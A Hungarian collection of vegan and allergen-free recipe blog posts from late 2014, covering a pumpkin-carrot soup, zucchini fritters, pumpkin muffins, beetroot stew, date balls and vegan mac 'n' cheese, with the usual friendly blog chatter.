Történt egyszer, hogy jelentkeztem egy vegán étterembe szakácsnak, mivel ez az egyik végzettségem. Bementem az állásinterjúra, és egy nagyon jó hangulatú beszélgetés végén rátértünk a munka konkrétumaira. Munkaidő, elvárások, fizetés. A fizetésre a következő választ kaptam: "Mondd meg te az igényedet, és meglátjuk leesünk-e a székről." Megmondtam, de mindenki a széken maradt. ezt meg mosolyogva is jegyeztem, amire egy kérdés érkezett feleletként. "Ha azt mondjuk, főzz nekünk valamit, te leesel a székről?" Tudni kell rólam, hogy izgulós típus vagyok, de mivel az esetek nagy részében itthon is rögtönözve főzök, ezért én is a széken maradtam, és mondtam, hogy kezdjünk neki. :)
Kaptam egy csinos kötényt, átestem a fertőtlenítős kézmosáson, és már bent is voltam az étterem szívének számító konyhában. Körbenéztem, felmértem a helyet, a lehetőségeket, alapanyagokat, és jött is az ihlet. A napokban járt azon az eszem, hogy milyen jól passzolhat a kókusz, kakukkfű, sárgarépa és a sütőtök egymáshoz. Mikor megláttam, hogy van tökmag, már azt is tudtam, hogy ez is harmonizál majd a levessel. Mivel most pont minden adott volt, gondoltam letesztelem az esetleges munkaadóimon a fejemben kialakult receptet. Mondtam is nekik, hogy rajtuk fogok kísérletezni. Tehát így készült a Soie dhiver:
(Mivel érzésből főzök, ezért az arányok és mennyiségek csak becsülve vannak! A kép pedig csak illusztráció, mivel nem volt alkalmam fotózni.)
4 személyre
- 3 nagy sárgarépa
- 1 fehérrépa
- 1 negyed sütőtök
- 2 marék tökmag
- 2 ek napraforgó olaj
- 1-1,5dl kókusztej
- 1 ek morzsolt kakukkfű
- 5 db babérlevél
- 1 kk só
- 1,5 liter víz
A sütőtököt ujjnyi vastag szeletekre vágjuk, és két szeleten kívül előmelegített sütőbe tesszük. A két szelet sütőtököt a felkockázzuk és félretesszük. Amíg sül a tök, addig egy edényben felteszünk vizet forralni, és belerakjuk a sót. A répákat centis kockákra vágjuk, és nagy lángon, kevés olajon elkezdjük pirítani. Amikor félig megpirult, beleszórjuk a babérleveleket is, és együtt pirítjuk tovább, amíg barnás színűre sül a répák külseje. A nagy láng előnye, hogy csak a külső kéreg pirul meg, de belül nyers marad, a répácska. Ha megpirultak a répák, és felforrt a víz, akkor beleöntjük a répákat, egy marék felkockázott nyer sütőtököt és a kakukkfüvet a forrásban lévő vízbe, majd a répákat roppanósan puhára főzzük. Miközben fő a kis répa halmunk, addig egy edényben megpirítjuk a két marék tökmagot. Közben durrog és pattog, de ez teljesen normális, mert e fejlődő gőz szétveti a magokat. Nem szükséges letakarni, mert nem pattog ki az edényből. Amikor megfőtt a répa, akkor leöntjük róla a vizet egy edénybe, de nem öntjük ki, hiszen ezzel a lével fogjuk turmixolni. Kidobáljuk a babérleveleket, és hagyjuk egy picit visszahűlni a répákat és a levet. Amikor 70-80 fokosra hűlt, akkor egy botmixerrel óvatosan homogén állagúra turmixoljuk, fokozatosan adagolva hozzá a főzőlevet. Annyi vizet öntsünk hozzá, hogy szinte főzelék állagú legyen, majd adjuk hozzá a kókusztejet. Ha kell, hígítsuk még főzőlével. Végezetül kockázzuk fel a megsült sütőtök szeleteket, és keverjük a levesbe. A pirított tökmagot csak a tálaláskor szórjuk a tetejére, hogy friss, roppanós maradjon.
Frissen, forrón tálalva szinte megsimogatja az ember, hidegben jégkristályosra fagyott lelkét. Remélem nektek is olyan örömet okoz majd az elkészítése, mint nekem.
Fogyasszátok boldogsággal! :)
K. Bálint
Chilis almás-tökös köret pirított dióval
2014. november 25. Éltető ételek
Itt van az ősz, persze mindjárt a tél is. Ilyenkor két igazi magyar alapanyag a sütőtök és az alma került a tányéromra. Persze nemcsak így simán, hanem csípős-savanyú ízvilágban, megbolondítva egy kis brokkolival (már csak a színe miatt is). Hozzávalók: ( 2 adag) - 2 szép nagy gála alma - 2 csésze kockára vágott sütőtök - 3-4 gerezd fokhagyma - 1/2 póréhagyma - 1 evőkanál kókuszolaj - kis marék áztatott-szárított-pirított dió - 2 brokkoli rózsa - himalája só, bors, chili - kevés citromlé Elkészítése: - A póréhagymát megtisztítom és felszeletelem. A karikák szépen különválnak, és ezt a serpenyőbe teszem 1 evőkanál kókuszolaj kíséretében. - Hozzádobom a felszeletelt fokhagymát és pirítom egy picit. - Ezután jön az alma és a sütőtök. - Lefedve sütöm (szükség esetén egy pici víz mehet alá). Fűszerezzük. Ne nagyon keverjük, hogy a sütőtök egyben maradjon. - Kb. 15 perc elteltével hozzáadom a kis darabokra szedett brokkolit, Párolódik még egy kicsit, majd meglocsolom kevéske citromlével is. - Tálaláskor szórok rá pirított diót.Amennyiben több személyre készül, akkor a sütőt javaslom. Karácsonykor finom köret lehet.
Chilis zöldséges köles savanyú káposztával
2014. november 24. Éltető ételek
Zöldséges kölest gyakran készítek, többnyire csicseriborsóval vagy gombával. Most egyik sem volt kéznél, viszont még egy kevés savanyúkáposzta csücsült a hűtőben. Úgyhogy a kettőt kombinálva remek ebéd lett belőle. Ahogy lassan kúszik be a tél, jól esik a csípős savanykás étel. Próbáljátok ki. Hozzávalók (2 adag): - 1 vöröshagyma - 1 nagyobb sárgarépa - 1 petrezselyemgyökér - 1/2 karalábé - 4-5 brokkolirózsa - 3-4 gerezd fokhagyma - 1 evőkanál lecsó - kevés kókuszolaj - só, bors, chili - 1/2 leveskocka (mindenmentes) - 1 bögre köles - 3-4 marék savanyúkáposzta Elkészítése: - A hagymát vágjuk fel kis kockára, majd a kókuszolajon pirítsuk meg. - Adjuk hozzá a nagyobb darabokra vágott zöldségeket (brokkoli kivételével), és pirítsuk együtt egy kevés ideig. - Adjuk hozzá a lecsót, majd öntünk rá annyi vizet, ami éppen ellepi. - Fűszerezzük. - Kb. 10 perc alatt majdnem megpuhul a zöldség. Ekkor hozzáadom a kis rózsára szedett brokkolit, és az átmosott kölest. - Öntsünk még hozzá egy kevés vizet, és lefedve főzzük puhára. Kb. 10 perc.Ekkor is hozzá lehet keverni a káposztát, vagy tálaláskor rétegezzük a kölessel.
Mosolygós Cukkinis tócsni :-)
2014. november 23. Zöld Avocado
Elnézést kérek mindenkitől, aki már alig várta az újabb zöldséges receptet a blogon, de az elmúlt egy hét olyan gyorsan eltelt, mintha egy szempillantás lett volna. Biztosan veletek is sokszor megesik, hogy a tennivalók listája állandóan a "majd holnap elintézem" kategóriába kerül... de az a holnap, csak nem akar eljönni. ;-) Igyekszem a következő pár napban kárpótolni titeket jobbnál jobb, finomabbnál finomabb , szebbnél szebb, egészségesebbnél egészségesebb... -na nem ragozom tovább - receptekkel. :-) mosolygós cukkinis tócsni Most egy újraértelmezett magyar ételt hoztam nektek, amit alapvetően burgonyával készítenek, de ezesetben egy értékes, sokoldalú és olcsó zöldségünk, a cukkini lesz az alapanyag. Az eredeti receptet mindenki más néven ismeri. Hallottam már ezt a krumplilepényt lepcsánkának, tócsninak, tócsinak, berétnek pacsninak és cicegének is elnevezni. Ki milyen névvel illeti ezt a gyors és egyszerű magyar ételt otthon? Habár a cukkini valójában a nyár nagy slágere, azért télen is bőven találunk belőlük a boltokban, vagy akár a fagyasztónkban korábbról eltéve. Mi télen nyáron fogyasztjuk ezt a magas víz-, de alacsony kalória tartalmú, lúgosításra is kíválóan alkalmas, C- és egyéb vitaminokban gazdag tökfélét. A cukkini héja béta karotint tartalmaz, tele van antioxidánsokkal, segít megelőzni a sejtek károsodását. Mivel ez a zöldségféle magnéziumot és foszfort is megfelelő mennyiségben juttat szervezetünkbe, ezért ez is egy lehetőség a tej mellett, vagy a tej helyett, hogy segítséget kapjunk a csontok felépítésében és megtartásában. Az újraértelmezett és sokkal egészségesebb (szerintünk finomabb is) változatot ugyanúgy időigényes elkészíteni, mint elődjét, de megéri a kedvenc sorozatunk közben a tűzhely mellett állni, és sütögetni ezeket a mennyei cukkinis plecsniket. :-) Cukkinik HOZZÁVALÓK: - 1 közepes méretű cukkini alaposan megmosva - 10 dk intenzív ízű reszelt sajt (ez lehet füstölt, vagy parmezán, de akár ementáli is) - 3-4 ek szezámmag - 2-3 ek kukoricaliszt / vagy kukoricadara - 1 marék friss petrezselyem - 1 dl víz - Himalája só - őrölt fehérbors - kókuszzsír vagy extra szűz olíva olaj vagy repce olaj Cukkini feldolgozásra várva ELKÉSZÍTÉS: A cukkinit miután alaposan megmostuk, reszeljük le a héjával együtt a nagy lyukú reszelőn. Egy másik tálban keverjün sűrű masszát a sóval, borssal, vízzel, és a kukorica liszttel. Keverjük hozzá a lereszelt cukkinihez, majd adjuk hozzá a szezámmagot. a reszelt sajtot és a friss apróra vágott petrezselymet is. Egy teflon serpenyőbe tegyünk egy kis zsiradékot, hevítsük fel, majd kezdjük el a lepénykéket sütni, mint a palacsintákat, csak kisebb, tenyérnyi méretben. Egy-egy merőkanállal egy-egy lepénykét kapunk, melyeknek mindkét oldalukat pirosra kell sütni. (Egy nagy lapát szerű eszköz nagy hasznunkra lehet a forgatásnál.) Pótoljuk közben a zsiradékot, ha szükséges. Illetve ha úgy érezzük, hogy a cukkini túl vízes volt, tegyünk a masszához még kukoricalisztet. Vagy ha ellenkezőleg, túl sűrű a massza, akkor keverjünk még hozzá vízet. Próbáljuk meg eltalálni azt a tökéletes állagot, ami könnyedén ínycsiklandóan pirosra sül a serpenyőnkben. ;-) A tetején sima tejföllel, fokhagymás tejföllel, vagy natúr joghurttal tálalva mindenkit hamar mosolygóssá tehetünk. :-) mosolygós cukkinis tócsni Örömteli, gyomorbarát, egészséges étkezést kívánok! :-)
Vegán sütőtökös áfonyás diós muffin
2014. november 23. Zizi kalandjai
Sütni akartam végre valamit, mert az elmúlt időben eléggé háttérbe kerültek a sütik, édességek. Örülök, ha a főzésre van idő, a sütemény mostanában luxus számba megy. Ugye Ádi még nem eszik cukros/mézes/egyéb édesítőszerrel édesített dolgokat, szóval ezért sem ragadok sokat fakanalat. Most viszont a muffin tésztájának összeállítása közben kitaláltam, hogy egy kisebb adagba nem teszek juharszirupot, így a 12 darab muffinból néhány darab neki készült. Mivel van benne sütőtökpüré, almaszósz és egy kevés frissen facsart narancslé, ezért mondhatjuk, hogy a tésztája magában is enyhén édeskés, de mivel Ádi nem evett még nagyon édes dolgokat, ezért neki fel sem tűnik, hogy ennek édesebbnek kellene lennie.
Ez a muffin igen gazdag alapanyagokban, van is neki “súlya”. Nehezíti sütőtökpüré, almaszósz, zabpehely, dió, áfonya, szóval olyan, mint egy komplett zabkása reggeli muffin formában. Próbáljátok ki!
Vegán sütőtökös áfonyás diós muffin
Hozzávalók 12 db-hoz:
- 1 és 1/4 bögre zabpehely
- 3/4 bögre és 1 evőkanál tönköly fehérliszt
- 3/4 bögre sült sütőtökpüré
- 1/3 bögre almaszósz vagy almapüré
- 1/2 bögre juharszirup vagy nádcukor
- 1 evőkanál frissen facsart narancslé
- 2 teáskanál chia vagy lenmag + 1/2 bögre víz
- 1 vaníliarúd kikapart magjai
- 1 teáskanál kókuszolaj
- 1 teáskanál almaecet
- 1 evőkanál sütőpor
- 1 teáskanál fahéj
- 1 teáskanál só
- áfonya (friss vagy fagyasztott)
- dió
Egy tálkában keverjük össze a chia vagy lenmagot a vízzel és hagyjuk állni néhány percig, amíg kocsonyás állagú lesz. Melegítsük elő a sütőt 175 fokra. Béleljük ki a muffintepsit papírkapszlikkal.
Egy tálban keverjük össze a száraz hozzávalókat: liszt, sütőpor, zabpehely, só, fahéj. Egy másik tálban keverjük össze a nedves hozzávalókat: almaszósz, sütőtökpüré, kókuszolaj, juharszirup, chia vagy lenmag keverék, narancslé, almaecet. A nedves hozzávalókat öntsük a szárazhoz és jól keverjük el. Adjuk a tésztához az áfonyát és a diót és jól keverjük el.
Kanállal osszuk el a tésztát egyenlő részben a muffinformákban. Süssük 175 fokon kb. 25-30 percig, amíg aranybarnák lesznek. Kivétel előtt azért végezzünk tűpróbát, hogy jól átsültek-e a muffinok.
Tipp: az almaszószhoz az almát meghámoztam, kimagoztam és egyszerű baba almareszelőn pépesítettem. Ha nincs ilyen reszelőnk, akkor kiválthatjuk egyszerű DM-ben, Rossmannban kapható bio bébi almapürével.
Narancsos céklafőzelék
Nagyjából egy hónap és itt a karácsony, amikor ünnepi ízekkel (is) megörvendeztethetjük szeretteinket. Ugyan nem egy nagyon bevett dolog főzeléket készíteni karácsonyra, de a következőt akár erre az ünnepre is ajánlom. Hihetetlenül különleges íze van. A cékla és a narancs harmóniája megízesíti (nem csak) a karácsonyunkat. Milyen olcsó és egyszerű étel, mégis milyen nagyszerű! Ebből az élményből nem érdemes kimaradni!
A recept
Hozzávalók:
- 1 kg cékla
- 1 narancs
- 2 dl kókusztej (dobozos)
- víz
- 2-3 gerezd fokhagyma
- alufólia
- só
- rizsliszt
Elkészítés:
A céklákat megmossuk és alufóliába minden darabot becsomagolva egy tepsiben kb. 1 óra alatt megsütjük. Kb. 45 perc sütés után a tepsi aljára egy kevés vizet öntünk (kb. 1-2 dl). A megsült, kihűlt céklát meghámozzuk, feldaraboljuk, és egy lábosba tesszük. A kókusztejet egy kevés vízzel és néhány (4-5) kocka céklával, a narancs lereszelt héjával, a narancs húsával és egy kevés sóval alaposan összeturmixoljuk. Ha a narancshús rostjai nagyon egybe maradtak, szűrőn keresztül átszűrjük. Az így kapott rózsaszín lé egy részét kikeverjük 2-3 ek rizsliszttel, a többi folyadékkal pedig felöntjük a céklát. Hozzákeverjük a rizsliszttel kikevert folyadékot, forralunk rajta egyet, s közben főzelékké sűrűsödik az ételünk. Kész is a narancsosan eszméletlenül finom céklafőzelék.
Gluténmentes almás pite gránátalmával
2014. november 14. Éltető ételek
Teljesen "rákattantam" a gránátalmára, de nem sütöm meg, hanem csak a tetejére szórom. A pite tésztája glutén- és tej- és tojásmentes, így bátran elkészíthetik ezekre érzékeny emberek is. Hozzávalók: - 5 dkg kukoricaliszt - 5 dkg rizsliszt - 5 dkg kölesliszt - 5 dkg kókuszliszt - 10 dkg bio vaj - 2 teáskanál kókuszvirágcukor - csipet só - késhegynyi fahéj - késhegynyi szódabikarbóna - pici víz Töltelék: - 50 dkg alma - fahéj - vaníliapor - maréknyi dió - 1-2 evőkanál méz tetejére: gránátalma tészta megkenése: baracklekvár Elkészítése: A liszteket keverjük össze, majd morzsoljuk el benne a vajat. Adjuk hozzá a fűszereket, és annyi vizet adjunk hozzá, hogy egy gyúrható tésztánk legyen.Egy kerámia piteformába nyomkodjuk bele a tésztát úgy, hogy legyen pereme is.A sütőt melegítsük elő (180 fok), majd tegyük be a tésztát 10 percre.Ezidő alatt elkészítjük a tölteléket, Az almát vágjuk kis kockára. A diót száraz serpenyőbe pirítsuk meg, majd adjuk hozzá az almakockákat és a fűszereket. Keverjük bele a mézet is. Süssük össze a serpenyőben mindent.Az elősütött pitét vegyük ki a sütőből, majd vékonyan kenjük meg házi baracklekvárral. Erre halmozzuk az almás tölteléket, és tegyük vissza a sütőbe úgy 30-40 percre.Szeletelés előtt hagyjuk kihűlni.
Narancsos sütőtökös diós kuglóf : glutén-, tojás-, és laktóz mentes édesség
2014. november 14. Zöld Avocado
Már évek óta megvan a kuglóf sütő formám, de még sosem használtam. Valahogy nem vonzottak az agyon cukrozott kuglóf receptek, de azért rendszeresen töprengtem rajta, mit is készíthetnék vele, ha már ott van a konyhaszekrényben?! :-) Pár napja mikor a kedvenc gasztroblogjaim nézegettem, megláttam egy minden mentes kuglófot, ami a kép és a hozzávalók alapján is megtetszett. Azonnal tudtam, hogy valami ilyesmit fogok készíteni! ;-) narancsos sütőtökös diós kuglóf Sütőtök szezon van, és nagyon szeretjük ezt az őszi-téli narancssárga vitamin bombát. (Valójában Balázs régen egyáltalán nem szerette, de egyszer megkóstolta, és azóta ő sem tud nemet mondani neki.) Telis tele van B2, B11 és C-vitaminnal. Jelentős a karotin, kalcium, cink, mangán és réz tartalma. Kálium tartalmának köszönhetően pedig elősegíti a vér tisztítását. Általában önmagában esszük, a szeleteket sütőben aranybarnára sütve, de mostanában kísérletezem vele, mint alapanyag is. Féltem, hogy elviszi az ételek, sütemények ízét, és nagyon erőteljes lesz, de egyáltalán nem így van. Talán azért voltak előítéleteim, mert akárhányszor a sütőtök szót kimondom, az orromban érzem azt a nem kellemes bébi étel szagot, ami a sütőtök-répa pépes üvegcsékből jön ki, miután kinyitjuk. Emlékeztek rá? Nektek sem egy kellemes szagélmény, ugye?! ;-) Na ezt az agyamban elraktározott kellemetlen szagot kell félre tennem ilyenkor, és bátran nekivágni a sütésnek. Megéri! Mennyei sütőtökös süteményeket lehet készíteni, kellemetlen illat és íz élmény nélkül. Próbáljátok ki, és írjátok meg a ti tapasztalataitokat sütőtök témában! ;-) Narancsos sütőtökös diós kuglóf (glutén, tojás, és laktóz mentes édesség) narancsos sütőtökös diós kuglóf HOZZÁVALÓK 18 cm-es kuglóf formához : - 100g köles liszt - 100g barna rizsliszt - 50g hajdina liszt - 20g lenmagliszt - csipet Himalája só - 1tk. szódabikarbóna - 60g nyírfa cukor vagy nádcukor (ha nagyon édes szájú vagy, mehet bele több is, de vegyük figyelembe, hogy a sütőtök is édes) - téli fűszerek: 1 késhegynyi őrölt szegfűszeg, 1 kk őrölt szerecsendió, 1 kk őrölt gyömbér - 300 g sütőtök lereszelve, héj nélkül (vagy a dupla késes darabolóval felaprítva) - 50g kókuszzsír - 2 ek. olívaolaj - 50 ml növényi tej (pl.:mandula tej) - 1 nagyobb narancs (kb.200 ml leturmixolva a gyümölcs húsával együtt) - 1 kk. étkezési ecet - 1-2 marék dió, pekán dió, mogyoró mix A sütés nem az erősségem. Míg a főzéshez, a főételekhez használt receptjeim nagy része saját kútfőből származik, a desszertekhez más kreatív konyhatündérek ötleteit kell segítségül hívnom. ;-) Ezesetben az alap mindenmentes kuglóf recept Nóri mindenmentes konyhájából származik. Én ezt módosítottam, és készítettem belőle egy sütőtökös narancsos diós kuglófot, a télies ízek kedvelőinek. :-) ELKÉSZÍTÉS: A lisztekhez úgy jutottam hozzá, hogy a gabonákat (köles, barna rizs, világos hajdina, lenmag) ledaráltam a kávédarálón. Legközelebb azonban kész por liszteket fogok venni, és azt teszem a tésztába, mert a házi darálás nem eredményez olyan finom szemcséket, így a kuglóf tésztája sem lesz olyan homogén. Persze attól, hogy a kész kuglóf tészta morzsásabb, még ízre tökéletes, és nem kellett sokat várnia rá, hogy elfogyjon. ;-) A liszteket összekeverjük a sóval, szódabikarbónával, a porcukorrá darált nádcukorral vagy nyírfacukorral, és a téli fűszerekkel (gyömbér, szegfűszeg, szerecsendió). Külön tálban egyneművé keverjük a felolvasztott kókuszolajat, az olívaolajat, a növényi tejjel, a leturmixolt naranccsal és az ecettel. A tetszés szerinti dió féléket összetörjük apró darabkákra, a sütőtököt pedig hámozás és mosás után lereszeljük a nagy lyukú reszelőn. A száraz és nedves összetevőket a sütőtökkel és diókkal együtt összedolgozzuk egynemű tésztává. A kuglóf formánkat kikenjük kókuszzsírral, és körbehintjük rizsliszttel, hogy a tészta ne ragadjon a formába. Beleöntjük a tésztánkat, és előmelegített sütőben 160 °C fokon kb.30 perc alatt készre sütjük. Isteni narancsos fűszeres illatok jelzik majd a kuglóf elkészültét. Miután kész van, kitesszük a formával együtt hűlni. Ha még melegen akarjuk eltávolítani a formából, szét fog esni a tésztánk. Adjunk neki egy kis időt, bármennyire is nehéz megállni, hogy ne essünk neki a süteménynek. ;-) Tálalhatjuk önmagában, vagy narancsos öntettel is: narancs, banán és egy kevés növényi tej összeturmixolva krémes állagúra. Bűntudat nélküli nassolást kívánok a hideg téli napokra ezzel a mennyei narancsos-sütőtökös kuglóffal! ;-) narancsos sütőtökös diós kuglóf Megjegyzés: az én kuglóf formában nagyobb, mint 18 cm átmérőjű, így a tésztám elveszik benne, ezért nem tökéletes a készre sült forma a képeken. Ha nektek is 18 cm-es a formátok, akkor a tészta "tetőtől talpig" fog érni a formában .
Banántej
2014. november 13. Vegan Spirit
Amikor az ember még nem hagyott fel az állati tejek fogyasztásával, akkor fogalma sincs, hogyan pótolhatná őket, ha vegán lenne. Nem ismeri a növényi tejeket, pedig egy vegán előtt a tejek tekintetében kinyílik a világ.
Banántej? Írtam már receptet pl a kendermag tejről itt, ami egy személyes kedvencem, de Zöldella is megosztotta tapasztalatait a házi készítésű növényi tejekről, amit itt olvashatsz el. A teljesség igénye nélkül írok pár növényi tej fajtát, hogy lásd, mennyi féle tejet ihatnak a vegánok. Kendermagtej, mandulatej, diótej, máktej, rizstej, mogyorótej, kókusztej, kesutej, makadámdiótej, szójatej, kölestej, napraforgótej, banántej. Itt most pedig álljunk is meg egy picit. A banántej talán a legegyszerűbb a növényi tejek közül. Finom, tápláló, laktató. Én személy szerint nem szoktam főzéshez használni, csak nyersen, magában fogyasztom. Mostanában úgy 1.5 litert naponta.
Mindenki ismeri a banán turmixot, amit hagyományosan tehéntejjel, meg egy jó adag finomított cukorral szokás elkészíteni. Emiatt persze az emberek elvesztik a természetes ízérzékelésüket, és még az érett gyümölcsökből készült italokat sem fogják elég édesnek érezni. A banántej gyakorlatilag egy vízzel, cukor nélkül készült banánturmix. Számomra a 6db pucolt banán + kb 1 liter víz recept jött be. Persze a sűrűséget lőjje be mindenki magának. Készítheted a puding szerű állagtól a híg tej álagáig bárhogyan. Ízesíteni fahéjjal vagy szegfűszeggel szoktam.
Próbáld ki te is. :)
J. K. Valentine
Ananászos-csokis pohárkrém
2014. november 9. Éltető ételek
Ezeket a pohárkrémeket nem lehet megunni. Ami éppen van itthon, abból készül. A gyerekeim is rajonganak érte, és nem utolsó szempont, hogy gyorsan elkészül. Az ünnepek gyors és finom desszertje lehet. Hozzávalók (4 főre): Morzsa: - 20 dkg mogyoró - 10 dkg kókuszreszelék - 1/2 kávéskanál vaníliapor - 1-2 evőkanál kókuszvirágcukor Csokihab: - 1 avokádó - 4 banán - 1 kávéskanál vaníliapor - 4-5 csepp narancsolaj - 2 dl mandulatej - 1 evőkanál chiamag - 2 evőkanál cukrozatlan kakaópor - ananászkocka (a gyerekeknek almakocka került bele) Elkészítése: - A mogyorót én húsgloffolóval szoktam összetörni, majd száraz serpenyőben egy kicsit pirítsuk meg. Adjuk hozzá a kókuszreszeléket, a kókuszvirágcukrot és a vaníliaport. - A krémhez a hozzávalókat turmixoljuk össze. - A pohárba rétegezzük a hozzávalókat: morzsa - csokihab - ananász - morzsa - csoki - ananász
Nyers citromos goji bogyós datolya golyók
2014. november 8. Zizi kalandjai
Néhány datolya golyót már készítettem (kakaósat és kávés-zabpelyheset, kókuszosat, kendermagliszteset, pirított szezámmagosat és mandulavajasat), de a variációk tárháza kifogyhatatlan. Most citromlével és goji bogyóval tettem kicsit savanykássá a hamm-bekaplak snack falatokat. Egy jó robotgép segítségével percek alatt elkészül a “tészta” és utána már csak golyókat kell formáznunk… ebbe a feladatba a gyerkőcöket is bevonhatjuk.
Ádi megkóstolta a golyót többször is, de mindig csak egy kicsit harapott le belőle, egy teljeset sosem evett meg… noha van benne 15-18 szem datolya, a citromlé és a goji bogyó miatt egyáltalán nem édes. Zárt dobozban sokáig eláll, szóval, ha kisebb golyókat formázunk, akkor marad bőven rágcsálni való késő esti filmnézésekhez vagy ha már délután leterít minket az éhség, ezekből a golyókból egy-kettőt bekapva, megmenekülünk!
A csodás piros színű goji bogyó Ázsiából származik és szárított formában fogyasztható. Afrodiziákumként is ismert és állítólag szépséget, erőt is fiatalos közérzetet biztosít, ha rendszeresen fogyasztjuk. Nagyon magas a C-vitamin tartalma, de ezenkívül A-, B- és E-vitamint is tartalmaz. 19 aminosavat (a fehérjék építőkövei) tartalmaz, melyek közül 8 esszenciális, azaz nélkülözhetelen az élethez (vegánoknak, vegetáriánusoknak feltétlen ajánlott). Még többet jótékony hatásáról itt olvashattok.
Én azt mondom, tegyetek egy próbát!
Nyers citromos goji bogyós datolya golyók
(Recept inspiráció: Oh, Ladycakes)
Hozzávalók kb. 30-40 db-hoz:
- 2 bögre mandula
- 1/2 bögre goji bogyó, felaprítva
- 1/2 bögre kókuszreszelék
- 15-18 db aszalt, puha datolya, kimagozva
- 1/2 citrom reszelt héja és kifacsart leve
- csipet só
Egy késes robotgépben daráljuk lisztté a mandulát a sóval. Ekkor adjuk hozzá a datolyákat és öntsük bele a citromlevet. Folyamatosan dolgoztassuk a robotgépet, amíg a massza enyhén ragacsossá válik (állítsuk le a gépet és ellenőrizzük az állagot).
Kanalazzuk a “tésztát” egy tálba és keverjük hozzá az aprított goji bogyókat és a kókuszreszeléket. Kézzel vagy fakanállal dolgozzuk össze. Formázzunk golyókat a masszából. Együnk belőle, a maradékot pedig tegyük zárt dobozba.
Élesztő- és gluténmentes (magvas) pogácsa
Még az őszi főzőkör első alkalmára készültek ezek a ropogós, porhanyós finomságok élesztő és glutén nélkül. Csak 10 dekányi őrölt hajdinát tettem a tésztájába, de ez a kevés is karakteres ízt adott neki. A képen azért szerepel egy alma a háttérbe, mert nekem úgy ízlett a legjobban, ha a pogácsát almával ettem. Főzőkörön is adtam mellé almagerezdeket.
A recept:
Hozzávalók:
- 20 dkg köles lisztté őrölve
- 20 dkg barna rizs lisztté őrölve
- 10 dkg hajdina lisztté őrölve
- 10 dkg amarántliszt + a tészta megmunkálásához
- 20 dkg kókusz- vagy pálmazsír, esetleg bio növényi margarin
- víz
- só
- őrölt magvak (elhagyható)
Elkészítés:
A liszteket (miután a gabonákat megőröltük) összeöntjük egy tálba. Kb. 1 evőkanál sót adunk hozzá és jó puha növényi zsírral, valamint egy kevés vízzel összedolgozzuk. Tehetünk hozzá őrölt magvakat (pl. napraforgó, tökmag, lenmag, szezámmag, stb.). Kicsit pihentetjük, majd amarántliszttel megszórt felületen kinyújtjuk és pogácsákat szaggatunk belőle. Tepsibe tesszük és megsütjük.
Vegán mac ‘n’ cheese, avagy vegán sült “sajtos” tészta
2014. október 29. Zizi kalandjai
Nem tudom ki, hogy van vele, de szabályosan érzem, hogy az óraátállítással nyertem még egy órát, vagyis a napom 25 órából áll. Ádival a napunk ugyanúgy zajlik, mint előtte, mégis az ebéd sokkal hamarabb készül el, este pedig hamarabb ágyba tudjuk tenni, így több időnk marad dolgozni a gép előtt és egy kicsit kikapcsolódni. Az egyedüli rossz az óraátállítással kapcsolatban a korai sötétedés, de gondolom ezt senki nem szereti.
A sötét ellen hoztam most egy napsárga ételt, hogy bearanyozza a napotokat. A mac ‘n’ cheese (macaroni and cheese) népszerű étel az USA-ban, mondhatni úgy, hogy ez az amerikai sajtos tészta. Valójában egy tejes, vajas, sajtos szósz, amelyet összekevernek a főtt tésztával, majd tepsibe öntik és összesütik (íme az amerikai változat). A jó hír az, hogy ez vegán változatban is elkészíthető csupa finom és tápanyagokban gazdag alapanyagokból. Hasonlót már főztem egyszer – egy mángoldosat – , az is finom lett, de ez az új változat tényleg mennyei. Ádinak is ízlett, szóval bababarát… próbáljátok ki!
Vegán mac ‘n’ cheese
(Recept inspiráció: Oh Dear Drea)
Hozzávalók 3 főre (2 felnőtt, 1 baba):
- 250 g sütőtök, meghámozva, felkockázva
- 250 g répa, meghámozva, felszeletelve
- 270 g burgonya, meghámozva, felkockázva
- 180 g kesudió
- 1 nagy fej vöröshagyma, felaprítva
- 3 gerezd fokhagyma, felaprítva
- 65-70 g sörélesztő pehely
- 6 evőkanál kókuszzsír
- 1 és 1/2 evőkanál frissen facsart citromlé
- 1 teáskanál kurkuma
- cayenne bors, ízlés szerint
- só, bors ízlés szerint
- sütéshez: füstölt pirospaprika, kenyérmorzsa
- 250 g tészta
Tegyük egy nagy lábasba a felkockázott burgonyát, sütőtököt, felszeletelt répát és felaprított vöröshagymát. Sózzuk, öntsük fel annyi vízzel, amennyi ellepi, majd tegyük fel főni közepes lángon. Kb. 15-20 perc alatt megpuhulnak a zöldségek, ekkor szűrjük le, de úgy, hogy a főzővizet tegyük félre (ezzel fogjuk a szószt elkészíteni!!!).
Egy másik lábasban főzzük meg a tésztát a csomagoláson található utasítás szerint. Szűrjük le és tegyük félre.
Melegítsük elő a sütőt 180C fokra.
Tegyük a kesudiót robotgépbe és ennek megfelelően daráljuk krémesre (közben a robotgépet állítsuk le néha, nehogy leégjen a sok munkától!). Ha krémesre van darálva, adjuk hozzá a robotgépben a kókuszzsírt, a citromlevet, a cayenne borsot és a kurkumát. Dolgoztassuk össze a krémet a robotgépben. Közben lassan kezdjük el adagolni a sörélesztő pelyhet és a zöldséges főzővizet miközben a robotgép dolgozik. Ha a pehely is el lett dolgozva a szószban, kezdjük el hozzáadni a főtt zöldségeket és fokozatosan adjunk mellé a főzővízből, hogy krémes szószt kapjunk eredményül. A lényeg a fokozatosságon van, tehát ne egyszerre zúdítsunk mindent a robotgépbe, hanem szépen lassan adagoljuk a hozzávalókat. A végén sózzuk, borsozzuk és ha szükség van hígításra, akkor használjuk a maradék zöldséglevet (én szinte az összeset felhasználtam).
Egy tálban keverjük össze a főtt tésztát a “sajtszósszal”, öntsük az egészet egy tepsibe, szórjuk meg a tetejét füstölt pirospaprikával és kenyérmorzsával. Tegyünk alufóliát a tetejére és süssük 10-15 percig, majd fólia nélkül még 5 percig. Tálaljuk azonnal!
Tipp : a szósz nagyon nagy adag lesz, vagyis lesz belőle maradék! Én másnap blansíroztam brokkolit és karfiolt, tepsibe tettem és leöntöttem őket a maradék szósszal és összesütöttem! Isteni lett a végeredmény, még jobb, mint a tésztás verzió!
6 szezonális szuperfood
2014. október 27. Gréta konyhája
